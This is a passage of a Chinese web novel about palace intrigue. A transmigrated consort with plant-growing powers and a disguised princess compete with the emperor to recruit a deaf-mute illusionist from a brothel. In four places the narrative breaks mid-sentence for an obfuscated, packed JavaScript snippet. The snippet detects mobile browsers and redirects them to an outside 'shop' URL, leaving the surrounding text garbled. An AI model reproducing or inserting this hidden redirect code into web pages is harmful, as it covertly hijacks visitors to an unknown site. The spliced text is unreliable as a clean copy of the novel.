恰此时,李淳和墨春赶到了,李淳一脚踹开了房门,闯了进去。 正和惊惶四望的阿幻对上了眼神。 阿幻下意识便以为是李淳将钱老爷弄晕过去的,做手势向他道谢。 李淳看不懂手势,但墨春能看懂。 当即向李淳翻译了出来:“主子,他说多谢你救了他。” 李淳心下一松,还好他及时赶到了。 “不必客气,阿幻,我与你一见如故,实在不忍见你落入泥淖,故而出手救下了你,此处不宜久留,我们到别处说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212104|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 李玄璋和德妃不在这里,但就怕她们下一刻就赶到,他得尽快将阿幻带离此地。 才说完这话,一个东西从天而降,砸在他头上。 李淳吓了一跳,“谁?!” 墨春将那个东西捡起来,一看,神情不由变得古怪起来,“主子,这是一根鸡腿骨。” “阁下真是好不要脸啊,明明是我家郎君用石子打晕了钱老爷,救了阿幻,你只是恰好赶到而已,竟然冒认了功劳,还要趁机带他离开,你打的什么主意?” 李淳看去,就见一身婢女打扮的德妃出现在门口,李玄璋站在她身后,一只手还揽着她的腰! 这两个贱人!奸-夫淫-妇!竟敢当着他的面苟且! 阿幻读懂了姜念虞的唇语,不由羞愧,他竟然认错了恩人。 但为了不暴露他会唇语这件事,他克制着站在原地没有动作。 “你们是谁?”李淳明知故问。 虽然他很想当面拆穿李玄璋和德妃,但那样一来,他自己也会暴露,所以只能将怒火按捺下去。 至于冒认功劳,呵,他连李玄璋的人都抢了,便是冒认了他的功劳又如何? 阿幻一个聋哑人,根本听不见德妃说了什么,自然也就无从得知真相了。 李玄璋:“李四。” 李淳:“姓李?你莫不是李氏皇族之人?” 李玄璋:“李姓乃是大姓,天下李姓之人何其多,阁下何以就认定我是皇族?” 李淳:“竟不是吗?我观阁下气度不凡,还以为是皇族子弟来此寻欢作乐呢。” 李玄璋没有接茬,越过他进了屋,将掉落在钱老爷身边的一颗石子捡起来,反手射了出去。 李淳一惊,还以为那颗石子是朝自己射过来的,想躲,却发现自己的身体根本反应不过来,不由得心下暗恨。 下一瞬,身后传来“砰”的一声。 转头一看,一名佩剑的侍卫倒在了院子里。 阿幻朝墨春做手势:“那是钱老爷的侍卫。” 墨春翻译了出来。 李淳心下松了口气,旋即又忍不住恼怒,怒自己刚才竟下意识产生了恐惧,也气自己远没有李玄璋敏锐,身手更是远不及他。 李玄璋的强大,让他愈发认识到自己的弱小,撇去身份不谈,他们之间的差距犹如天堑。 他必须时刻保持沉着冷静,努力缩小这份差距,否则,他很可能会重蹈覆辙。 “哎哟,几位贵客怎么都站着呀?快进屋里坐。”瑶娘担心阿幻,并未走远,而是在院子外徘徊,院中发生的一切,她都看在眼里。 这两拨人明显都是冲着阿幻来的,她直觉她们不简单,万一待会儿争抢起来伤了阿幻怎么办?她得出面斡旋一番才是。 进了屋,瑶娘一脚将地上的钱老爷踢到了桌子底下,那份举重若轻的功力,令李玄璋都不由得侧目。 这个看似风尘艳俗的鸨母,显然有功夫在身,而且功夫还不俗。 瑶娘神色自若,仿佛只是踢开了一团垃圾,言笑晏晏地请双方坐下,给她们各自上了茶,又拉着阿幻陪坐末席。 笑看着李淳:“不知这位郎君怎么称呼啊?” 墨春答:“我家郎君姓王,家中排行第三。” 瑶娘:“王三郎君。” 李淳:“我很喜欢阿幻表演的幻术,正巧家中长辈大寿将近,我想将阿幻请回去,为家中长辈表演祝寿,你开个价吧。” 34. 第34章 瑶娘:“阿幻虽是在揽月楼长大的,但并未跟揽月楼签卖身契,所以他来去自由,郎君若是想请阿幻回去给家中长辈祝寿,得问阿幻自己的意思。” 说着对阿幻一番比划,将自己和“王三郎”交谈的内容告诉了他。 阿幻摇了摇头,表示不去。 长这么大他都没离开过揽月楼,虽然有时候也会羡慕向往外面的世界,但对于外界,他更多的是害怕和恐惧,所以并不想去。 姜念虞咽下一块云片糕,幸灾乐祸地一笑,李淳以为花点钱就能将阿幻带走吗? 那他想得也太简单了。 李玄璋坐在她身旁,给她剥松子,松子仁放在干净的帕子上,这么会功夫,已经堆起来一小堆了,他托着帕子递给她。 姜念虞接过来,一股脑倒进了嘴里,一嚼,满口酥香。 李淳眸子一沉,阿幻的拒绝固然令他不快,但对面李玄璋和德妃两人优哉游哉的做派更令他不爽。 这两人莫不是拿他当乐子看? 但想到自己这一趟来的目的,不得不忍耐下来:“不瞒二位,我家在这京城也是排得上号的富贵人家,与太医院的姚太医颇说得上话。” 瑶娘有些激动:“是那位擅长耳鼻喉科的针灸圣手姚太医?” 李淳:“不错,若是阿幻肯跟我回去,我便请姚太医出面,为他诊治,他的聋哑之症就有救了。” 瑶娘这十几年来都在各方寻医问药,想将阿幻的聋哑之症治好,但钱花出去不老少,却一直没有什么效果。 她打听到太医院的姚太医擅治耳鼻喉方面的疾病,但姚太医是什么人?是太医院的大拿,是国手,哪里是她一个青楼老鸨,下九流行当里的人能接触得到的? 来揽月楼的客人也不乏贵客,说是能为她引荐,但那些男人也不过是嘴上说说罢了,并不真的放在心上。 如今这位王三郎君却说能将姚太医请来…… 她在揽月楼迎来送往这么多年,也练就了一双厉眼,这位王三郎君瞧着就不是一般人,他身后跟着的那个随从,说话声音有些尖细,行为举止也有些异常,像是宫里的太监。 能让太监跟在身后服侍的,不是皇亲国戚就是王公贵族! 他说的很有可能是真的。 这么一想,瑶娘觉得不能错过这次机会,有些兴奋地跟阿幻比划起来。 这一回,阿幻也有些犹豫了。 虽然已经当了十几年的聋哑人,但他无时无刻不奢望着自己能够被治好,变成一个正常人。 如今希望就摆在面前,他该答应吗? 眼见着阿幻和瑶娘都对李淳提出的条件动心了,姜念虞哪里还坐得住? 她也要发大招了! “阿幻,你看这是什么?” 她伸出一只手,掌心里是一颗花种,在异能的催生下,花种转眼间破壳发芽,抽枝结苞,花瓣层层绽开,如千瓣粉雪,散发出一阵清香。 正是一朵粉嫩清艳的芍药花。 这一幕,令在场几人无不感到震撼。 尤其是阿幻,或许旁人还会以为这是一场幻术,和他的种瓜幻术一般,但他却看得出来,这女子手中的种子开花,没有丝毫幻术的痕迹。 仿佛真的一般。 但这怎么可能呢? 姜念虞将手中的芍药花递给他,趁机碰了下他的指尖,识海中的异能源种发出了璀璨亮芒,她的猜测得到了印证。 “想学这个幻术吗?想学的话就跟我们走。而且我家郎君也能请来神医为你治好聋哑之症,那个神医的医术不在姚太医之下。” 要问那位神医是谁? 那当然就是她自己啦。 她的木系异能,能治愈人体的各种伤势疾病,也包括聋哑这种先天性疾病。 当然,前提是她的异能升到了三阶。 但她也不算骗阿幻,只要给她一点时间,等她的异能提升上来了,治好阿幻不是分分钟的事吗? 阿幻接过她递来的粉色芍药,轻嗅了一下它的芬芳,这还是第一次有人送他花,而且是她亲手变出来的花。 他不可遏制地心动了。 同时对她的手段产生了极大的好奇。 李淳看出来阿幻明显心动了,眸子眯了眯,示意瑶娘靠近,在她耳边轻声问:“你看这是什么?” 同时转动了大拇指上的碧玉扳指,将原本朝着拇指内侧的龙纹露了出来。 瑶娘一看,瞳孔瞬间缩至针尖大小,心跳鼓噪不停。 我滴个老天爷啊! 龙纹! 只有皇帝才能佩戴的纹饰! 眼前之人,竟是皇帝! 皇帝微服来逛她们揽月楼! 瑶娘下意识想起身跪拜,被李淳按住了。 “现在,你可知该怎么做了?” 他不动声色地将碧玉扳指转了回去,免得被桌子对面的李玄璋看见了。 瑶娘明白他不想在这里暴露身份,忙不迭点头:“是,我,我知道该怎么做了。” 她拉着阿幻去了一旁,给他打手势,同时在旁人看不到的角度,对他做口语:“阿幻,那个王三郎君是皇帝,他想要你,瑶姨也没法子了,你就跟他去吧,料想他不会亏待你的。” 阿幻心头一震,紧紧捏着手中的芍药花,像是溺水之人抓住了一根浮木。 沉默良久,他点了点头,走回来对李淳做了个手势:“好,我跟你们走。” 姜念虞霎时觉得嘴里的松子都不香了,完了,阿幻最后还是选择了李淳。 阿幻将手中的花还给姜念虞。 姜念虞摇了摇头:“既然已经送给你了,你就收着吧,要是不想要,就丢了。” 唉,她还以为自己施展异能催生出芍药花的一幕很震撼人心呢,肯定能打动阿幻这个幻术师,结果还是败给了李淳的无耻。 李淳盯了芍药花一眼,一甩袖子,抬脚离开。 墨春留下一叠银票,拉着阿幻跟上。 瑶娘收起银票,追了上去,想送阿幻最后一程。 姜念虞叹了口气,“咱们还是没能抢过李淳。” 这就是主角光环的力量吗? 明明她熟知剧情,明明她们先来一步,却还是没能改变剧情的走向。 李玄璋从袖中拿出布娃娃,抱在怀里,竟也一言不发转身离去。 姜念虞一脸莫名,“蓁蓁,你怎么了?你走那么快干什么?你是想把阿幻抢回来?” 他步伐依旧,头也没回。 姜念虞快走几步拉住他的袖子:“蓁蓁,你到底怎么了?” 李玄璋蓦地停下来,抱着布娃娃转过身,“姐姐从来没送过我花。” 姜念虞:“……” 天菩萨啊!原来他是为了一朵花而闹脾气! 看书时也没觉得大反派这么矫情啊。 “我送他那朵花,只是想让他加入我们的阵营而已……好吧,我错了,我不该把那朵花送给他,蓁蓁,你也想要花吗?要几朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221516|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?什么样的?我都满足你。” 谁叫她们是一条船上的人呢? 为了让这条船能够平稳地行驶下去,她只好多哄着他一点啦。 左右羊毛出在羊身上。 李玄璋表情和缓了一些,将脸转向了一旁的花圃,花圃里,恰有一丛月季开得正盛,红的、白的、粉的……在暖黄色的灯火下,漂亮得像一朵朵宝石。 姜念虞从荷包里拿出一颗月季花种子,“看好了哦。” 仿佛被神灵点拨了一下,那颗原本平平无奇的种子眨眼间长大开花了,花朵鲜艳得像血液凝成的一般,朵朵都有碗口大,花瓣有着丝绒的质感。 丰盈而美丽,清冽而芬芳。 迷人极了。 “喏,送你,拿好了啊,小心刺。” 姜念虞将手里的一大捧月季花塞给他。 李玄璋下意识抱住,低头轻嗅,香气霎时盈满鼻腔,他整个人也仿佛被香气给灌满了。 “这下不生气了吧?” 姜念虞看着他掩在花束后的那张脸,见他神情明媚了些。 李玄璋:“姐姐还摸了他的手。” 姜念虞:“……” 她一把抓过他的手,指腹摩挲着他的手背,“那是不小心碰到的,我现在这样才叫摸。” 李玄璋唇角翘了翘,没再说什么了。 姜念虞松了口气,“阿幻被李淳抢走了,接下来咱们怎么办?” 李玄璋一手抱着一大捧花,一手反握住她的手,心情已经由阴转晴:“暂时什么都不做,待我查一查他的身世。” 姜念虞:“阿幻的身世?我之前不是已经告诉你了吗?” 李玄璋:“姐姐,他爹是谁?” 姜念虞被他问住了,“哦,也对,他不可能是他娘一个人生出来的,必然得有一个爹,你是想查出他爹是谁,然后以他爹为突破口?” 李玄璋:“嗯。” 姜念虞:她倒是知道韩观的爹是谁,可惜尝试过后发现无法说出口,只能等着李玄璋自己查出来。 李淳将阿幻带回了宫里,让墨春带他下去安置。 待墨春回来后,他道:“春儿,你可知先前跟我抢阿幻的那一男一女是谁?” 墨春茫然地摇了摇头。 李淳:“是李蓁蓁,和德妃。” 墨春惊诧:“啊?竟是蓁蓁公主和德妃娘娘?她们都是女子,竟跑到揽月楼这种风月场所去,未免也太大胆了。” 李淳“哼”了声:“她们岂止大胆,一个是朕的妃子,一个是订了婚的公主,大晚上的易容换装跑去青楼寻欢作乐,寡廉鲜耻,藐视皇威,丝毫没把朕放在眼里。” 墨春拍抚他的胸口:“皇上别生气,您若是不高兴,直接罚她们就是了,何必跟自己的身子过不去呢。” 李淳握住他的手,“还是春儿体贴,处处为我着想。” 墨春红了脸,低下了头去。 李淳心里一荡,将人揽进了怀里。 墨春肩膀一颤,欲拒还迎:“皇上……” 李淳:“别说话,让我静静地抱一会儿,这段时间真的太累了。” 墨春遂不再挣扎了,乖巧柔顺地伏在他怀中。 李淳阖上了眸子,享受着这片刻的安宁。 蓦地,他睁开了眼睛,“春儿。” 墨春:“嗯?” 李淳:“朕险些忘了一件事。” 墨春:“什么事?” 李淳:“杀人灭口。” 35. 第35章 前世,李玄璋帮阿幻查到了他的身世——原来,阿幻的生父竟是宁远侯之子韩骏。 可惜韩骏在十几年前就战死沙场了,宁远侯多年前也在战场上伤了命-根子,没法再生育,于是宁远侯这一脉竟是绝嗣了。 为了保住侯府爵位,宁远侯只得从旁支过继一个儿子来,为其更名为韩岩。 然而韩岩跟宁远侯并不是一条心,为了早日继承侯府,竟然暗中给宁远侯下毒。 就在他即将得逞时,李玄璋将阿幻这个亲孙子送到了宁远侯面前,也拆穿了韩岩的阴谋。 但宁远侯中毒已深,认回孙子后没多久就去世了。 阿幻继任宁远侯,效忠于李玄璋。 李玄璋因此多了一大助力。 李淳怀疑,李玄璋其实早就知道韩岩给宁远侯下毒,只是引而不发,直到等到最恰当的时机才拆穿韩岩的阴谋。 因为他若是提前拆穿韩岩的阴谋,那宁远侯就死不了,宁远侯不死,李玄璋就无法将宁远侯府收入囊中。 不过这一世么,李玄璋的计谋注定要落空了。 阿幻和宁远侯府,都是他的。 当晚,李淳翻了丽嫔的牌子,吩咐她:“你去一趟揽月楼,将鸨母瑶娘处理了,做得干净些。” 瑶娘一死,阿幻的身世就会永远埋藏于地下,不见天日。 丽嫔领命而去。 却没有立即出宫,而是先去了一趟去了冷宫,将李淳让她做的事告诉了李玄璋。 李玄璋:“正好我也有件事要吩咐你,找到瑶娘后,你从她嘴里问出阿幻的身世,再伪造出她已死的假象。” 一个要瑶娘死,一个要瑶娘活。 游走于两个主子之间的丽嫔表示,她真的好难。 不过再难也得去做。 翌日清晨,李淳起身后,丽嫔为他更衣,小声禀报道:“您交代的事臣妾已经办好了。” 李淳拍了拍她的脸,“丽嫔昨晚伺候得很好,朕心甚悦,小承子,去库房将那套东珠头面拿来,赐给丽嫔。” 丽嫔娇媚一笑:“谢皇上。” 下朝后,李淳召见了钦天监监正,询问问天大典的流程和细节。 钦天监监正心下有些犯嘀咕,如果皇上的身份没有问题,自然不消担心问天大典,而如今他却这样关心,这岂不是说明,他真的来路不正? 不过在问天大典的结果出来之前,在他面前的这位还是皇帝,他不能不恭敬对待。 于是有问必答,充分展现了为人臣子的本分。 知道问天大典的流程后,李淳心里有了底,大典定于三月初八,还有十日,这十天应该足够阿幻“对症下药”,设计排演一出洗脱他污名的幻术了。 不过在此期间,他得防着李玄璋作乱。 “小承子,你去一趟冷宫,给蓁蓁公主传一道口谕。” 保和殿内侍总管戴秉承躬身应是,来到了冷宫。 “公主殿下,皇上着奴婢来给您传话—— “如今蓁蓁已经定了亲,再住在冷宫着实有些不像话了,朕特意为你挑选了一座宫殿,常宁殿,今日你就搬过去吧。 “另外,朕还选了几位嬷嬷来教导你规矩,免得以后你出宫嫁到别人家去,在规矩礼仪上出了差错,叫外头的臣子看了皇族的笑话。” 传完口谕后,戴秉承看了眼面前这位心智不全的公主殿下,见她抱着娃娃跪坐在那里,兀自跟娃娃玩着过家家,也不知道起来。 “殿下,您还跪着干什么呀?快起来吧,咱家这就让人来给您收拾,好尽快搬进常宁殿。 “奴婢跟您说呀,这常宁殿可是皇上特意给您选的,比这冷宫不知好上多少倍,您肯定会喜欢那里的……” 一面招手唤人来,吩咐道:“去,给殿下收拾东西。” 一群宫女内侍不由分说闯进冷宫的各个宫室,名为收拾,实则是在搜查。 到了常宁殿,李玄璋一进去,就有足足八位管教嬷嬷排成两排,率领一众下人向他见礼。 自此,李玄璋从早到晚,一言一行皆处在了监视之下,连门都不得出。 戴秉承回宫复命,“皇上,奴婢已将蓁蓁公主安置妥当了。” 李淳:“冷宫可有什么异常?” 戴秉承:“奴婢让人将冷宫各处仔细搜查了一遍,并未发现什么异常,不过有一件奇事儿。” 李淳:“哦?什么奇事,说来听听。” 戴秉承:“冷宫里原先有一株百年桃花树,数年前被雷劈死了,奴婢今日过去,发现那株桃花树竟又活了,开了满树桃花,比之从前还要茂盛。” 李淳冷笑一声:“德妃在冷宫死而复生了,冷宫里被雷劈死的桃花树也枯木逢春了,不知道的还以为冷宫是个风水宝地呢。 “桃花轻浮,易招风邪,去,把冷宫里那棵桃花树给朕砍了,以后朕不想再在宫里看见桃花树。” 得知李淳命人将冷宫里的桃花树给砍了,姜念虞急忙跑过去,想要阻止。 然而她到底来晚了一步,赶到时,眼睁睁看着桃花树轰然倒地,满树桃花溅落。 她耗费了那么多异能救活的桃花树! 马上就能结出一树桃子的桃花树! 就这么被砍了! 李、淳!他真该死! 姜念虞拳头紧握,一双眼杀气腾腾,跟着她过来的夏桃不禁被吓到了,“娘娘,您没事吧?” 姜念虞看到她害怕的表情,闭了闭眼,“夏桃,找人把这棵桃花树移栽到我的宫里。” 夏桃上前跟指挥众人砍树的戴秉承交涉,却被告知以后宫里都不能种桃花。 戴秉承亲自来向姜念虞告罪:“还请德妃娘娘见谅,皇上下令,以后不想在宫里看见桃花。” 姜念虞直接气笑了,李淳他是个什么东西,竟然还不准宫里种桃花! 偏偏她还抗旨不得,毕竟他再废,也顶着皇帝的名头。 她转身离开。 回到宫里,一屁股坐下来,越想越气。 一拳锤在了炕几上。 然而她已不是前世的她了,这一拳下去,炕几没事,她自己反倒吃了疼。 更让她气愤的还在后头。 她前脚回到未央宫,后脚戴秉承就带了人来,要将她前些日子种下的桃花树苗给拔了。 姜念虞挡在桃花树苗前,“我看谁敢动!” 戴秉承满脸为难:“娘娘,您就别为难奴婢了,这是皇上下的令,奴婢也只能遵旨照办啊。” 姜念虞深呼吸了几次,心里憋着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233671|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那口气却依然下不去。 “我找皇上去,凭什么不让在宫里种桃花,桃花惹着他了?在我回来之前,谁也不许动我的桃花树。” 然而姜念虞这一去,非但没有见到李淳,让他收回成命,反倒还被迫带回来了两个祖宗。 李淳也赏了她两个教引嬷嬷,还让人给她传话:“德妃的宫规学得太差了,动不动就擅闯朕的寝殿,实在不像话。 “这两位嬷嬷是在先帝身边侍奉的,谙熟宫规礼仪,便是朕,也要尊奉她们为长辈,你将她们带回去好生奉养,替朕尽一尽孝心,时间久了,耳濡目染之下,你也能学到几分她们身上的气度,成为一名合格的后妃。” 回到宫里,姜念虞就见春樱一脸小心翼翼地迎上来,心里一个咯噔,冲到后院一看,桃花树苗已经不在了,留下一个光秃秃的坑。 没等她为自己的桃花树哀悼,被李淳硬塞过来的两个嬷嬷就开始发力了。 苏嬷嬷:“德妃娘娘,女子行走时当是一派贞静娴雅,有四不动——簪不动、头不动、佩不动、裙不动,您方才一路疾跑,实在有失体统。” 黄嬷嬷:“女子在家从父,出嫁从夫,皇上不仅是您的夫,更是您的君,莫说您只是一介后妃,便是皇后,也断没有质疑皇上的道理。 “皇上下令宫中不得有桃花树,您便该主动将您宫中的桃花树拔掉才对,怎么能去找皇上收回成命呢?实在是大逆不道,有违尊卑。” 姜念虞:“……” 就一个字,烦! 两个字,很烦! 烦得想杀人! 然而更让她烦的还在后头。 中午吃饭时,两个嬷嬷念经似的在她耳边叨叨叨。 苏嬷嬷:“德妃娘娘,您筷子拿得不对,手指要往下挪一寸。” 黄嬷嬷:“坐有坐相,即便是用膳,也得挺直脊背,不可弯腰塌背,摇头晃脑。” 姜念虞捏紧筷子,我忍! “晟儿,这个好吃,你尝尝。” 苏嬷嬷:“娘娘,食不言寝不语,这是老祖宗传下来的规矩。” 姜念虞:“……”不让我说话是吧,那我就使劲儿吃! 黄嬷嬷:“娘娘,一道菜至多动筷三次,这道菜您已经夹了四次了。” 一道菜只能夹三次,有没有天理啊! 春樱和夏桃在旁边看着,也不禁为娘娘叫屈,但看了看两位宛若规矩化身的嬷嬷,她们只觉小心肝发颤,不敢站出来说什么。 用完一碗饭,姜念虞:“春樱,添饭。” 苏嬷嬷:“娘娘,用膳不可过饱,七八分便可以了,否则容易积食,损伤肠胃,您已经用了一碗,不可再添饭了。” 可是她连两分饱都没有啊! 姜念虞捏着筷子,恨不得把碗摔出去。 关键她们说就说吧,她权当耳旁风就是,可她们不仅嘴上说教,还要上手指挥。 她若是不听,她们就拿出先帝御赐的教鞭来,示威般甩得啪啪作响,要当众“指正”她! 姜念虞忍了又忍。 行,给老娘等着! 等老娘异能升到九级,实力恢复到巅峰,就把你们全都鲨了! 到时候什么狗屁皇权、皇帝,统统都给她滚一边儿去。 36. 第36章 之后,两个嬷嬷说什么姜念虞都一脸微笑地照做。 演戏嘛,谁还不会似的。 这么一直忍到了晚上,姜念虞打算等两个嬷嬷睡下后,让林鹤偷偷带自己去找李玄璋,跟他商量下要怎么破了李淳这个歹毒的局。 谁知两个嬷嬷要轮流给她守夜,说是要看看她的睡相标不标准。 姜念虞只觉得天都要塌了。 她倒是拒绝了,说是不喜睡觉时有人在侧,但两人根本不听。 姜念虞不由思考起了将两人打晕的可能性,但这样一来她们肯定会向李淳告状,这不是主动往李淳手里递把柄吗? 她只能老老实实躺下睡觉。 但往往刚睡着就被叫醒了,“娘娘,不可侧着身子睡觉,当平躺,双手放在腹部……” 苏嬷嬷一边说一边还给她做示范。 那姿势,标准死板得宛若棺材里的僵尸。 她很怀疑,这样真的能睡着吗? 如是几次后,姜念虞的心情暴躁到了极点,指骨捏得咔嚓作响,又被逮着说了一通。 最后她干脆不睡了,按照最标准的姿势躺在那里闭目养神。 同时用异能悄悄催生了一根藤蔓,缠住了苏嬷嬷的脚。 苏嬷嬷姿态优雅地坐在床头圆凳上,看着床上的德妃,仿佛在守灵。 冷不丁脚被缠住,低头一看,一条长条状的东西在自己脚上蠕动,骇了一跳,直接从凳子上蹦了起来。 “蛇啊!” 姜念虞一脸淡定地睁开眼睛,“苏嬷嬷,哪里有蛇?你莫不是打盹做了噩梦?” 睡在外间榻上的黄嬷嬷听见动静,举着一盏灯走进来,“怎么回事?” 苏嬷嬷:“刚才有东西缠住了我的脚,我以为是一条蛇,吓了一跳。” 黄嬷嬷举着灯四处照了照,没看见什么蛇,“许是窗外的影子晃了下,你看错了。” 苏嬷嬷也只能接受这个解释了。 黄嬷嬷:“行了,你去睡吧,下半夜由我来守着娘娘。” 灯灭了,昏暗中,一条藤蔓悄无声息地蔓延出去,爬出了卧室,爬到了苏嬷嬷睡觉的榻上,缠住了她的脚,将她拖到了地上。 “啊!鬼啊!” 苏嬷嬷吓得手舞足蹈,在地上乱爬。 白日里多么严谨讲规矩的一个人,这会儿却跟疯了似的毫无形象。 黄嬷嬷再次举着灯出来,“闭嘴!叫嚷什么,别打搅了娘娘安眠。” 苏嬷嬷猛地回过神来,冲过去躲在黄嬷嬷身后,“鬼,有鬼,刚才鬼缠住我的脚,把我从榻上拖了下来,真的,我没骗你……” 黄嬷嬷皱了皱眉,不是很愿意相信,但看她被吓成这个样子,也无法彻底否认,想了想道:“罢了,你回去睡吧,这里由我来守着就行。” 苏嬷嬷拉着她的袖子:“我,我不敢一个人回去。” 黄嬷嬷觉得她真是不中用,在宫里这么多年了,竟还会被鬼吓到。 “那我先陪你回去。” 两人离开后,姜念虞晃了晃床头的铃铛。 林鹤应声出现,像一道忠实可靠的幽灵。 “你跟上去,等她们回房后,将她们打晕。” 黄嬷嬷将苏嬷嬷送回屋,苏嬷嬷躺了下来,却仍旧抓着黄嬷嬷的袖子不放。 黄嬷嬷只好道:“睡吧,等你睡着了我再走。” 两人共事多年,虽也有拌嘴较劲闹矛盾的时候,但总归相依为命这么多年,已经离不开彼此了。 苏嬷嬷到底年纪大了,熬了半宿,又接连受了惊,这会儿放松下来,很快就睡了过去,还打起了鼾。 黄嬷嬷待要抽回被她抓着的手,脑后忽然传来一道叮咬般的疼,紧接着就眼前一黑,人事不省了。 正是跟过来的林鹤出的手。 他将窗纸戳出一个洞,指尖射出一根银针,正中黄嬷嬷后脑的百会穴。 黄嬷嬷倒了下去,趴在了苏嬷嬷身上。 苏嬷嬷砸吧了下嘴,并未醒来。 但为了保险,林鹤还是潜了进去,给苏嬷嬷也扎了一下,让她睡得更沉,起码三个时辰内都醒不过来。 林鹤回来复命。 得知两个嬷嬷都昏睡了过去,姜念虞在床上狠狠伸了个懒腰。 终于没人来打扰她了,她恨不得就此睡过去。 但是不行,她还得去跟李玄璋碰头。 不过去找李玄璋之前,她得和林鹤贴贴一下,补充一下异能。 刚才催生藤蔓,操控其戏耍苏嬷嬷,可是消耗了不少。 “我腿好像麻了,你来给我揉一下。”姜念虞眼珠子一转,就想到了一个跟他接触的合理借口。 林鹤不疑有它,上前给她揉腿。 窗棂轻动,一只玄猫钻了进来,后头紧跟着一个人,正是李玄璋。 姜念虞和林鹤同时看了过去。 李玄璋目光落在姜念虞的腿上,以及林鹤的手上,露出一抹寒凉的笑容:“我来的好像不是时候。” 不知为何,被他这样看着,姜念虞感觉腿上凉飕飕的,还有一丝莫名的心虚。 她心虚什么? 没等她想明白,身体已经先于意识做出了反应,嗖的一下缩回了腿,冲他狗腿一笑:“蓁蓁,我正要去找你呢,你就来了,我们真是心有灵犀。” 又对林鹤道:“我腿不麻了,你到门口去守着吧,别让人来打扰我们。” 林鹤沉默起身,挺拔修长的身形投下一道影子,覆盖在她身上,“若有事,娘娘可随时唤我。” 林鹤一走,玄猫就跳到了床上,姜念虞一把将它捞过来,从床头的暗格里拿出肉干来喂它。 也塞了一根到自己嘴里。 李玄璋走过来,“姐姐似乎很喜欢他,每次我过来,都能撞见你们孤男寡女独处一室。” 姜念虞大方地点头承认了:“我是挺喜欢他的,他长得好看,武功又高,还很听话,我讨厌他才奇怪吧,不过我也很喜欢你啊。” 李玄璋没料到“喜欢”二字这么轻易就从她嘴里说了出来,一时不知该高兴还是惆怅。 她喜欢他。 但她对他的喜欢,和对林鹤的,并无不同。 仅仅只是因为长了一副好看的皮囊就能得来的喜欢,有什么用? 姜念虞跟他抱怨:“今天这一天我简直过得生不如死,快要被两个嬷嬷折磨死了,你肯定更不好过吧?听说李淳往你那边派了八个嬷嬷过去,想想就可怕。” 李玄璋眸色一沉:“她们打你了?” 姜念虞:“倒也没有,但是不管我做什么,她们都会说教一通,念得我头疼,最让我难受的是她们不准我多吃,同一道菜都不准我夹四次!” 说着又从暗格里掏出来好些零食,“幸好我藏了不少吃的,不然这会儿肯定要饿死了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254099|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李玄璋从袖中拿出来一个纸包,打开来,里头是热乎乎的鸡蛋和锅盔。 姜念虞“哇”了一声,“哪儿来的?” 拿过一张锅盔就咬了一口,大晚上饿着肚子,能吃上这一口热乎的,真幸福。 李玄璋:“自己做的。” 姜念虞是知道他会做饭的,毕竟他在冷宫里待了那么多年,衣食住行样样都得自己来,要是不会做饭,怕是早就饿死了。 但没想到他连锅盔都会做。 还是梅干菜肉馅儿的。 玄猫闻到香味,竟站了起来,一只前爪搭着她肩膀,一只爪子朝她扒拉,像个馋嘴的小人儿。 姜念虞大方地分了它一块儿。 等她吃完一张锅盔,李玄璋递过来一颗剥得干干净净的鸡蛋。 姜念虞接过来,两口就吃掉了,结果噎着了,直翻白眼。 李玄璋倒了杯茶递给她,“慢点吃。” 两颗鸡蛋、三张锅盔下肚,姜念虞觉得自己终于活过来了,懒洋洋地靠在枕头上,撸着猫,一只手还抓着李玄璋,贴贴涨异能。 “李淳派嬷嬷来,说是教我们规矩,其实就是想让人看着我们。” 李玄璋:“嗯。” 姜念虞:“他还把你从冷宫里挪了出去,说不定是想趁机搜查冷宫,要是他发现了你的密道怎么办?” 李玄璋:“他已经发现了。” 姜念虞一惊,“那你怎么还这么淡定?” 李玄璋:“他发现的,只是我让他发现的,真正的密道只有我知道。” 